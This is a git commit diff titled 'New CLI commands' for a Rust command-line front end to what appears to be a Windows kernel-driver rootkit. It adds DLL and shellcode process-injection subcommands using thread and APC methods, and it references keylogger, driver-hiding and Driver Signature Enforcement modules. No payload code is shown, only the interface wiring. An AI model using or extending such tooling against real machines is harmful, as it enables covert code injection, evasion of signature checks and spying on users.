New CLI commands

This commit is contained in:
João Victor
2024-08-05 21:36:02 -03:00
parent 0bcdf6b443
commit b006cfa050
2 changed files with 45 additions and 10 deletions

View File

@@ -42,7 +42,7 @@ pub enum Commands {
/// Name Driver
#[arg(long, value_hint = ValueHint::FilePath, value_parser = validate_sys_extension)]
name: Option<String>
name: Option<String>,
},
/// Operations related to DSE (Driver Signature Enforcement).
DSE {
@@ -113,6 +113,15 @@ pub enum Commands {
},
/// Operations related to Injection
Injection {
/// Subcommands for thread operations.
#[command(subcommand)]
sub_command: InjectionCommands,
},
}
#[derive(Subcommand)]
pub enum InjectionCommands {
DLL {
/// The process ID to injection.
#[arg(long, short, required = true)]
pid: u32,
@@ -125,6 +134,20 @@ pub enum Commands {
#[arg(long, short, required = true)]
type_: Injection
},
Shellcode {
/// The process ID to injection.
#[arg(long, short, required = true)]
pid: u32,
/// Path containing the dll
#[arg(long, required = true)]
path: String,
/// Type shellcode
#[arg(long, short, required = true)]
type_: Injection
}
}
/// Enum representing the subcommands for process operations.

View File

@@ -2,7 +2,7 @@ use {
clap::Parser,
shared::ioctls::*,
module::enumerate_module,
cli::{Cli, Commands, ProcessCommands, ThreadCommands},
cli::{Cli, Commands, ProcessCommands, ThreadCommands, InjectionCommands, Injection},
driver::{dse, enumerate_driver, unhide_hide_driver},
keylogger::keylogger,
process::{
@@ -203,15 +203,27 @@ fn main() {
},
}
},
Commands::Injection { pid, path, type_ } => {
match type_ {
cli::Injection::Thread => {
injection_thread(IOCTL_INJECTION_THREAD, pid, path);
},
cli::Injection::APC => {
injection_apc(IOCTL_INJECTION_APC, pid, path);
Commands::Injection { sub_command } => match sub_command {
InjectionCommands::DLL { pid, path, type_ } => {
match type_ {
Injection::Thread => {
injection_thread(IOCTL_INJECTION_DLL_THREAD, pid, path)
},
Injection::APC => {
injection_apc(IOCTL_INJECTION_DLL_APC, pid, path)
},
}
}
},
InjectionCommands::Shellcode { pid, path, type_ } => {
match type_ {
Injection::Thread => {
injection_thread(IOCTL_INJECTION_SHELLCODE_THREAD, pid, path)
},
Injection::APC => {
injection_apc(IOCTL_INJECTION_SHELLCODE_APC, pid, path);
}
}
},
}
}
}